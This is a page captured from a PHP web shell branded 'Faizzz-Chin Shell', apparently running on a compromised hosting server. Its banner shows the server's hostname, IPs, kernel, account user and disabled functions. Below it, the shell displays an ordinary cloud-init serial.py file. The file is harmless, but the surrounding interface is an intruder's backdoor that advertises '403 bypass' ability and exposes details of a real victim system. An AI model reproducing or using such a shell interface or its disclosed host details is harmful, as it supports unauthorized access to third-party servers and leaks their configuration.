SHELL BYPASS 403 |
Modern UI. Responsive. Powerful.

Faizzz-Chin Shell

Uname\Kernel: Linux server.kxo.bgz.mybluehostin.me 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
Server: Apache
PHP Version: 8.2.28 [ PHP INFO ]
Operating System: Linux
Server Ip: 162.240.163.222
Your Ip: 216.73.216.114
Date Time: 2025-07-11 00:15:45
User: dilseshaadi (1027) | Group: dilseshaadi (1027)
Safe Mode: OFF
Disable Function: exec,passthru,shell_exec,system

name : serial.py
# This file is part of cloud-init. See LICENSE file for license information.

from __future__ import absolute_import

try:
    from serial import Serial
except ImportError:
    # For older versions of python (ie 2.6) pyserial may not exist and/or
    # work and/or be installed, so make a dummy/fake serial that blows up
    # when used...
    class Serial(object):
        def __init__(self, *args, **kwargs):
            pass

        @staticmethod
        def isOpen():
            return False

        @staticmethod
        def write(data):
            raise IOError("Unable to perform serial `write` operation,"
                          " pyserial not installed.")

        @staticmethod
        def readline():
            raise IOError("Unable to perform serial `readline` operation,"
                          " pyserial not installed.")

        @staticmethod
        def flush():
            raise IOError("Unable to perform serial `flush` operation,"
                          " pyserial not installed.")

        @staticmethod
        def read(size=1):
            raise IOError("Unable to perform serial `read` operation,"
                          " pyserial not installed.")

# vi: ts=4 expandtab
© 2025 Faizzz-Chin